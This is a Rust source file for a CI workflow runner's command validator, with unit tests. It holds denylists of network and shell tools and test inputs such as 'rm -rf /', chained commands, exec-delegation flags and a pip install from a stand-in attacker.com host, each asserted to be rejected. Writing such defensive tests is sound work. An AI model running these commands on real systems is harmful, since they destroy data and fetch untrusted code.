Skip to main content

dk_runner/workflow/
validator.rs

1use anyhow::{bail, Result};
2use super::types::{Workflow, StepType};
3
4const FORBIDDEN_SHELL_CHARS: &[char] = &[';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r', '\t', '*', '?', '[', ']'];
5
6/// Hardcoded denylist of dangerous command prefixes that cannot be overridden
7/// by per-repo custom allowlists.  Even if a `.dkod/pipeline.yaml` explicitly
8/// allows one of these, the validator will reject it.
9const ALWAYS_DENIED_PREFIXES: &[&str] = &[
10    "curl ", "wget ", "nc ", "ncat ", "netcat ",
11    "bash ", "sh ", "/bin/sh", "/bin/bash",
12    "/usr/bin/curl", "/usr/bin/wget", "/usr/bin/nc", "/usr/bin/ncat",
13    "/usr/bin/bash", "/usr/bin/sh", "/usr/bin/env bash", "/usr/bin/env sh",
14    "/usr/bin/python", "/usr/bin/python3", "/usr/bin/perl", "/usr/bin/ruby",
15    "/usr/bin/env python", "/usr/bin/env python3", "/usr/bin/env perl",
16    "/usr/bin/env ruby", "/usr/bin/env node",
17    "python -c", "python3 -c", "perl -e", "ruby -e",
18    "eval ", "exec ",
19    "go run", "go get", "go install",
20    "cargo run", "cargo install",
21    // Go execution-delegation flags that allow running arbitrary binaries
22    "go test -exec ", "go build -toolexec ", "go vet -vettool ",
23];
24
25/// Substrings that are denied anywhere in a command, preventing flag-injection
26/// attacks where execution-delegation flags appear mid-command (e.g.,
27/// `go test -exec /bin/sh`).
28const DENIED_FLAG_SUBSTRINGS: &[&str] = &[
29    " -exec ", " -toolexec ", " -vettool ",
30    " -exec=", " -toolexec=", " -vettool=",
31    // Output path flags — prevent writing compiled artifacts to arbitrary paths
32    // (e.g., `go build -o /tmp/payload ./cmd/exploit`, `go build -o/path`)
33    " -o ", " -o=", " -o/",
34    " --target-dir ", " --target-dir=",
35    " --out-dir ", " --out-dir=",
36    " --manifest-path ", " --manifest-path=",
37    // TypeScript compiler output-path flags
38    " --outDir ", " --outDir=", " --declarationDir ", " --declarationDir=",
39    // Reject parent-dir traversal in install targets
40    " ..",
41    // URL schemes — prevent remote code fetching via pip install, npm, etc.
42    " http://", " https://", " ftp://", " file://",
43    " git+", " svn+", " hg+",
44];
45
46const ALLOWED_COMMAND_PREFIXES: &[&str] = &[
47    "cargo check", "cargo test", "cargo clippy", "cargo fmt", "cargo build",
48    "npm ci", "npm test",
49    "bun install --frozen-lockfile", "bun test",
50    "npx tsc", "bunx tsc",
51    "pip install -e .", "pip install -r requirements.txt", "pytest", "python -m pytest",
52    "go build", "go test", "go vet",
53    "echo ", // Permitted for CI logging and test pipelines
54    // NOTE: make targets removed from default allowlist because Makefile targets
55    // can execute arbitrary shell commands, bypassing command security controls.
56    // Use allowed_commands in pipeline.yaml to explicitly opt-in to make.
57];
58
59/// Commands that are allowed ONLY as exact matches — no additional arguments
60/// permitted.  This prevents argument-injection attacks where a caller appends
61/// arbitrary flags or file paths (e.g., `npm run lint --rulesdir /attacker-path`).
62const ALLOWED_EXACT_COMMANDS: &[&str] = &[
63    "npm run lint", "npm run check",
64    "bun run lint", "bun run check",
65];
66
67/// Check if a command matches an allowlist prefix with word-boundary awareness.
68/// A prefix matches if the command equals the prefix exactly, or if the command
69/// starts with the prefix followed by a space. This prevents "pytest" from
70/// matching "pytest-exploit" while still allowing "pytest -v".
71fn command_matches_prefix(command: &str, prefix: &str) -> bool {
72    command == prefix
73        || command.starts_with(&format!("{} ", prefix))
74        || prefix.ends_with(' ') && command.starts_with(prefix)
75}
76
77pub fn validate_workflow(workflow: &Workflow) -> Result<()> {
78    if workflow.stages.is_empty() {
79        bail!("workflow '{}' has no stages", workflow.name);
80    }
81    for stage in &workflow.stages {
82        if stage.steps.is_empty() {
83            bail!("stage '{}' has no steps", stage.name);
84        }
85        for step in &stage.steps {
86            if let StepType::Command { run } = &step.step_type {
87                validate_command_with_allowlist(run, &workflow.allowed_commands)?;
88            }
89            if let Some(ref wd) = step.work_dir {
90                if wd.components().any(|c| c == std::path::Component::ParentDir) {
91                    bail!("step '{}' work_dir '{}' contains path traversal", step.name, wd.display());
92                }
93                if wd.is_absolute() {
94                    bail!("step '{}' work_dir '{}' must be a relative path", step.name, wd.display());
95                }
96            }
97        }
98    }
99    Ok(())
100}
101
102pub fn validate_command(command: &str) -> Result<()> {
103    validate_command_with_allowlist(command, &[])
104}
105
106pub fn validate_command_with_allowlist(command: &str, custom_allowlist: &[String]) -> Result<()> {
107    let trimmed = command.trim();
108    if trimmed.is_empty() {
109        bail!("empty command");
110    }
111    if let Some(ch) = trimmed.chars().find(|c| FORBIDDEN_SHELL_CHARS.contains(c)) {
112        bail!("command contains forbidden shell metacharacter: {:?}", ch);
113    }
114    // Always-denied prefixes override any allowlist (defense-in-depth)
115    if ALWAYS_DENIED_PREFIXES.iter().any(|p| trimmed.starts_with(p)) {
116        bail!(
117            "command uses a permanently-denied prefix: '{}'",
118            trimmed
119        );
120    }
121    // Denied flag substrings prevent execution-delegation flag injection
122    // (e.g., `go test -exec /bin/sh ./...`)
123    if DENIED_FLAG_SUBSTRINGS.iter().any(|s| trimmed.contains(s)) {
124        bail!(
125            "command contains a denied execution-delegation flag: '{}'",
126            trimmed
127        );
128    }
129    // Exact-match-only commands must not receive additional arguments,
130    // regardless of which allowlist path is used.  Applied unconditionally
131    // (like ALWAYS_DENIED_PREFIXES) so that custom pipeline.yaml allowlists
132    // cannot re-enable argument injection for these commands.
133    if ALLOWED_EXACT_COMMANDS.iter().any(|cmd| {
134        trimmed.starts_with(&format!("{} ", cmd))
135    }) {
136        bail!(
137            "command '{}' is only permitted as an exact match with no additional arguments",
138            trimmed
139        );
140    }
141    if custom_allowlist.is_empty() {
142        let is_allowed = ALLOWED_COMMAND_PREFIXES
143            .iter()
144            .any(|prefix| command_matches_prefix(trimmed, prefix))
145            || ALLOWED_EXACT_COMMANDS.contains(&trimmed);
146        if !is_allowed {
147            bail!(
148                "command not in allowlist: '{}'. Allowed prefixes: {:?}, exact commands: {:?}",
149                trimmed,
150                ALLOWED_COMMAND_PREFIXES,
151                ALLOWED_EXACT_COMMANDS
152            );
153        }
154    } else {
155        let is_allowed = custom_allowlist
156            .iter()
157            .any(|prefix| command_matches_prefix(trimmed, prefix.as_str()));
158        if !is_allowed {
159            bail!(
160                "command not in repo allowlist: '{}'. Allowed prefixes: {:?}",
161                trimmed,
162                custom_allowlist
163            );
164        }
165    }
166    Ok(())
167}
168
169#[cfg(test)]
170mod tests {
171    use super::*;
172    use crate::workflow::types::*;
173    use std::time::Duration;
174
175    fn make_cmd_step(name: &str, cmd: &str) -> Step {
176        Step {
177            name: name.to_string(),
178            step_type: StepType::Command { run: cmd.to_string() },
179            timeout: Duration::from_secs(60),
180            required: true,
181            changeset_aware: false,
182            work_dir: None,
183        }
184    }
185
186    #[test]
187    fn test_valid_commands() {
188        assert!(validate_command("cargo check").is_ok());
189        assert!(validate_command("cargo test --release").is_ok());
190        assert!(validate_command("bun test").is_ok());
191        assert!(validate_command("pytest -v").is_ok());
192        assert!(validate_command("pytest").is_ok());
193    }
194
195    #[test]
196    fn test_pytest_word_boundary() {
197        // "pytest" should not match "pytest-exploit" (word boundary check)
198        assert!(validate_command("pytest-exploit").is_err());
199        assert!(validate_command("pytest_exploit").is_err());
200        // But "pytest" and "pytest -v" should still work
201        assert!(validate_command("pytest").is_ok());
202        assert!(validate_command("pytest -v --tb=short").is_ok());
203    }
204
205    #[test]
206    fn test_cargo_target_dir_denied() {
207        assert!(validate_command("cargo build --target-dir /tmp/evil").is_err());
208        assert!(validate_command("cargo build --target-dir=/tmp/evil").is_err());
209        assert!(validate_command("cargo build --out-dir /tmp/evil").is_err());
210    }
211
212    #[test]
213    fn test_go_build_concatenated_output_denied() {
214        // go build -o/path (no space) should be blocked
215        assert!(validate_command("go build -o/tmp/evil ./...").is_err());
216    }
217
218    #[test]
219    fn test_tsc_output_dir_denied() {
220        assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
221        assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
222        assert!(validate_command("npx tsc --declarationDir /tmp/evil").is_err());
223    }
224
225    #[test]
226    fn test_go_run_bare_denied() {
227        // "go run" without trailing space should also be caught
228        let custom = vec!["go run".to_string()];
229        assert!(validate_command_with_allowlist("go run", &custom).is_err());
230        assert!(validate_command_with_allowlist("go run ./cmd", &custom).is_err());
231    }
232
233    #[test]
234    fn test_cargo_manifest_path_denied() {
235        // --manifest-path allows compiling from outside the sandbox
236        assert!(validate_command("cargo build --manifest-path /outside/Cargo.toml").is_err());
237        assert!(validate_command("cargo test --manifest-path=/outside/Cargo.toml").is_err());
238        assert!(validate_command("cargo check --manifest-path /etc/Cargo.toml").is_err());
239    }
240
241    #[test]
242    fn test_rejected_commands() {
243        assert!(validate_command("rm -rf /").is_err());
244        assert!(validate_command("curl http://evil.com").is_err());
245        assert!(validate_command("cargo test; rm -rf /").is_err());
246        assert!(validate_command("cargo test && curl evil").is_err());
247    }
248
249    #[test]
250    fn test_empty_stages_rejected() {
251        let wf = Workflow {
252            name: "bad".into(),
253            timeout: Duration::from_secs(60),
254            stages: vec![],
255            allowed_commands: vec![],
256        };
257        assert!(validate_workflow(&wf).is_err());
258    }
259
260    #[test]
261    fn test_valid_workflow_passes() {
262        let wf = Workflow {
263            name: "good".into(),
264            timeout: Duration::from_secs(60),
265            stages: vec![Stage {
266                name: "checks".into(),
267                parallel: false,
268                steps: vec![make_cmd_step("test", "cargo test")],
269            }],
270            allowed_commands: vec![],
271        };
272        assert!(validate_workflow(&wf).is_ok());
273    }
274
275    #[test]
276    fn test_bad_command_in_workflow_rejected() {
277        let wf = Workflow {
278            name: "bad".into(),
279            timeout: Duration::from_secs(60),
280            stages: vec![Stage {
281                name: "checks".into(),
282                parallel: false,
283                steps: vec![make_cmd_step("evil", "rm -rf /")],
284            }],
285            allowed_commands: vec![],
286        };
287        assert!(validate_workflow(&wf).is_err());
288    }
289
290    #[test]
291    fn test_glob_chars_rejected() {
292        assert!(validate_command("cargo test src/*.rs").is_err());
293        assert!(validate_command("cargo test src/?.rs").is_err());
294        assert!(validate_command("cargo test src/[a-z].rs").is_err());
295        assert!(validate_command("echo /etc/*").is_err());
296        assert!(validate_command("echo ../../*").is_err());
297    }
298
299    #[test]
300    fn test_custom_allowlist_permits_custom_command() {
301        let custom = vec!["eslint".to_string(), "prettier --check".to_string()];
302        assert!(validate_command_with_allowlist("eslint src/", &custom).is_ok());
303        assert!(validate_command_with_allowlist("prettier --check .", &custom).is_ok());
304    }
305
306    #[test]
307    fn test_custom_allowlist_rejects_unlisted_command() {
308        let custom = vec!["eslint".to_string()];
309        assert!(validate_command_with_allowlist("rm -rf /", &custom).is_err());
310        assert!(validate_command_with_allowlist("cargo test", &custom).is_err());
311    }
312
313    #[test]
314    fn test_custom_allowlist_still_blocks_shell_chars() {
315        let custom = vec!["eslint".to_string()];
316        assert!(validate_command_with_allowlist("eslint; rm -rf /", &custom).is_err());
317    }
318
319    #[test]
320    fn test_empty_allowlist_uses_default() {
321        assert!(validate_command_with_allowlist("cargo test", &[]).is_ok());
322        assert!(validate_command_with_allowlist("rm -rf /", &[]).is_err());
323    }
324
325    #[test]
326    fn test_validate_workflow_uses_custom_allowlist() {
327        let wf = Workflow {
328            name: "custom".into(),
329            timeout: Duration::from_secs(60),
330            stages: vec![Stage {
331                name: "lint".into(),
332                parallel: false,
333                steps: vec![make_cmd_step("lint", "eslint src/")],
334            }],
335            allowed_commands: vec!["eslint".to_string()],
336        };
337        assert!(validate_workflow(&wf).is_ok());
338    }
339
340    #[test]
341    fn test_validate_workflow_rejects_unlisted_with_custom_allowlist() {
342        let wf = Workflow {
343            name: "custom".into(),
344            timeout: Duration::from_secs(60),
345            stages: vec![Stage {
346                name: "checks".into(),
347                parallel: false,
348                steps: vec![make_cmd_step("test", "cargo test")],
349            }],
350            allowed_commands: vec!["eslint".to_string()],
351        };
352        assert!(validate_workflow(&wf).is_err());
353    }
354
355    #[test]
356    fn test_always_denied_prefixes_block_even_with_custom_allowlist() {
357        let custom = vec!["curl ".to_string(), "wget ".to_string()];
358        assert!(validate_command_with_allowlist("curl http://example.com", &custom).is_err());
359        assert!(validate_command_with_allowlist("wget http://example.com", &custom).is_err());
360        assert!(validate_command_with_allowlist("bash -c whoami", &custom).is_err());
361        assert!(validate_command_with_allowlist("nc -l 1234", &custom).is_err());
362        assert!(validate_command_with_allowlist("python -c 'import os'", &custom).is_err());
363    }
364
365    #[test]
366    fn test_always_denied_prefixes_block_with_default_allowlist() {
367        assert!(validate_command("curl http://example.com").is_err());
368        assert!(validate_command("wget http://example.com").is_err());
369        assert!(validate_command("bash -c whoami").is_err());
370    }
371
372    #[test]
373    fn test_install_commands_allowed_by_default() {
374        assert!(validate_command("npm ci").is_ok());
375        assert!(validate_command("bun install --frozen-lockfile").is_ok());
376        assert!(validate_command("pip install -r requirements.txt").is_ok());
377        assert!(validate_command("pip install -e .").is_ok());
378    }
379
380    #[test]
381    fn test_env_interpreter_variants_denied() {
382        let custom = vec!["/usr/bin/env python3".to_string()];
383        assert!(validate_command_with_allowlist("/usr/bin/env python3 script.py", &custom).is_err());
384        assert!(validate_command_with_allowlist("/usr/bin/env python script.py", &custom).is_err());
385        assert!(validate_command_with_allowlist("/usr/bin/env perl script.pl", &custom).is_err());
386        assert!(validate_command_with_allowlist("/usr/bin/env ruby script.rb", &custom).is_err());
387        assert!(validate_command_with_allowlist("/usr/bin/env node script.js", &custom).is_err());
388    }
389
390    #[test]
391    fn test_go_commands_allowed_by_default() {
392        assert!(validate_command("go build ./...").is_ok());
393        assert!(validate_command("go test ./...").is_ok());
394        assert!(validate_command("go vet ./...").is_ok());
395    }
396
397    #[test]
398    fn test_go_run_denied() {
399        // go run directly executes arbitrary Go programs
400        assert!(validate_command("go run ./cmd/exploit").is_err());
401        let custom = vec!["go run".to_string()];
402        assert!(validate_command_with_allowlist("go run ./cmd/exploit", &custom).is_err());
403    }
404
405    #[test]
406    fn test_go_get_denied() {
407        // go get downloads and compiles arbitrary remote packages
408        assert!(validate_command("go get github.com/evil/pkg").is_err());
409        let custom = vec!["go get".to_string()];
410        assert!(validate_command_with_allowlist("go get ./...", &custom).is_err());
411    }
412
413    #[test]
414    fn test_go_install_denied() {
415        // go install downloads, compiles, and installs arbitrary remote packages
416        assert!(validate_command("go install github.com/evil/pkg@latest").is_err());
417        let custom = vec!["go install".to_string()];
418        assert!(validate_command_with_allowlist("go install github.com/evil/pkg@latest", &custom).is_err());
419    }
420
421    #[test]
422    fn test_npm_bun_run_only_specific_scripts() {
423        // Only specific script names (lint, check) are allowed as exact matches
424        assert!(validate_command("npm run lint").is_ok());
425        assert!(validate_command("npm run check").is_ok());
426        assert!(validate_command("bun run lint").is_ok());
427        assert!(validate_command("bun run check").is_ok());
428        // Arbitrary script names must be rejected
429        assert!(validate_command("npm run exploit").is_err());
430        assert!(validate_command("bun run exploit").is_err());
431        assert!(validate_command("npm run build").is_err());
432        assert!(validate_command("bun run build").is_err());
433    }
434
435    #[test]
436    fn test_npm_bun_run_argument_injection_denied() {
437        // npm/bun run lint/check are exact-match only — no additional arguments
438        // allowed to prevent argument injection into the underlying scripts.
439        assert!(validate_command("npm run lint --flag").is_err());
440        assert!(validate_command("npm run lint /etc/passwd").is_err());
441        assert!(validate_command("npm run check --rulesdir /attacker-path").is_err());
442        assert!(validate_command("bun run lint --flag").is_err());
443        assert!(validate_command("bun run check extra-arg").is_err());
444    }
445
446    #[test]
447    fn test_npm_bun_run_argument_injection_denied_custom_allowlist() {
448        // The exact-match guard must also apply when a custom allowlist is used.
449        // A repo's pipeline.yaml that adds "npm run lint" should NOT re-enable
450        // argument injection.
451        let custom = vec!["npm run lint".to_string(), "bun run check".to_string()];
452        assert!(validate_command_with_allowlist("npm run lint", &custom).is_ok());
453        assert!(validate_command_with_allowlist("bun run check", &custom).is_ok());
454        // Argument injection must still be blocked
455        assert!(validate_command_with_allowlist("npm run lint --rulesdir /attacker-path", &custom).is_err());
456        assert!(validate_command_with_allowlist("bun run check extra-arg", &custom).is_err());
457    }
458
459    #[test]
460    fn test_pip_install_url_schemes_denied() {
461        // pip install with remote URLs should be blocked by denied substrings
462        assert!(validate_command("pip install -e git+https://attacker.com/evil.git").is_err());
463        assert!(validate_command("pip install -r https://attacker.com/reqs.txt").is_err());
464        assert!(validate_command("pip install -r http://attacker.com/reqs.txt").is_err());
465        // Local paths should still be allowed
466        assert!(validate_command("pip install -e .").is_ok());
467        assert!(validate_command("pip install -r requirements.txt").is_ok());
468    }
469
470    #[test]
471    fn test_cargo_run_and_install_denied() {
472        assert!(validate_command("cargo run --bin exploit").is_err());
473        let custom = vec!["cargo run".to_string()];
474        assert!(validate_command_with_allowlist("cargo run ./cmd", &custom).is_err());
475        assert!(validate_command("cargo install malicious-crate").is_err());
476    }
477
478    #[test]
479    fn test_pip_install_parent_dir_denied() {
480        // pip install -e .. would install from parent directory (sandbox escape)
481        assert!(validate_command("pip install -e ..").is_err());
482        assert!(validate_command("pip install -e ../other-pkg").is_err());
483        // pip install -e . should still work
484        assert!(validate_command("pip install -e .").is_ok());
485    }
486
487    #[test]
488    fn test_go_build_output_flag_denied() {
489        // go build -o allows writing binaries to arbitrary filesystem paths
490        assert!(validate_command("go build -o /tmp/payload ./cmd/exploit").is_err());
491        assert!(validate_command("go build -o=/tmp/payload ./...").is_err());
492    }
493
494    #[test]
495    fn test_go_exec_delegation_flags_denied() {
496        // go test -exec allows running arbitrary binaries
497        assert!(validate_command("go test -exec /usr/bin/sh ./...").is_err());
498        // go build -toolexec replaces the compiler toolchain
499        assert!(validate_command("go build -toolexec ./evil ./...").is_err());
500        // go vet -vettool replaces the vet analysis tool
501        assert!(validate_command("go vet -vettool ./evil ./...").is_err());
502    }
503    #[test]
504    fn test_go_build_concatenated_output_flag_denied() {
505        // go build -o/tmp/evil bypasses " -o " and " -o=" but is caught by " -o/"
506        assert!(validate_command("go build -o/tmp/evil ./...").is_err());
507    }
508
509
510    #[test]
511    fn test_tsc_outdir_denied() {
512        // npx tsc --outDir should be blocked to prevent file-write escape
513        assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
514        assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
515        assert!(validate_command("bunx tsc --declarationDir /tmp/evil").is_err());
516        assert!(validate_command("bunx tsc --declarationDir=/tmp/evil").is_err());
517    }
518
519    #[test]
520    fn test_work_dir_path_traversal_rejected() {
521        use std::path::PathBuf;
522        let mut step = make_cmd_step("test", "cargo test");
523        step.work_dir = Some(PathBuf::from("../escape"));
524        let wf = Workflow {
525            name: "test".into(),
526            timeout: Duration::from_secs(60),
527            stages: vec![Stage { name: "s".into(), parallel: false, steps: vec![step] }],
528            allowed_commands: vec![],
529        };
530        assert!(validate_workflow(&wf).is_err());
531    }
532
533    #[test]
534    fn test_work_dir_absolute_rejected() {
535        use std::path::PathBuf;
536        let mut step = make_cmd_step("test", "cargo test");
537        step.work_dir = Some(PathBuf::from("/tmp/evil"));
538        let wf = Workflow {
539            name: "test".into(),
540            timeout: Duration::from_secs(60),
541            stages: vec![Stage { name: "s".into(), parallel: false, steps: vec![step] }],
542            allowed_commands: vec![],
543        };
544        assert!(validate_workflow(&wf).is_err());
545    }
546
547}
548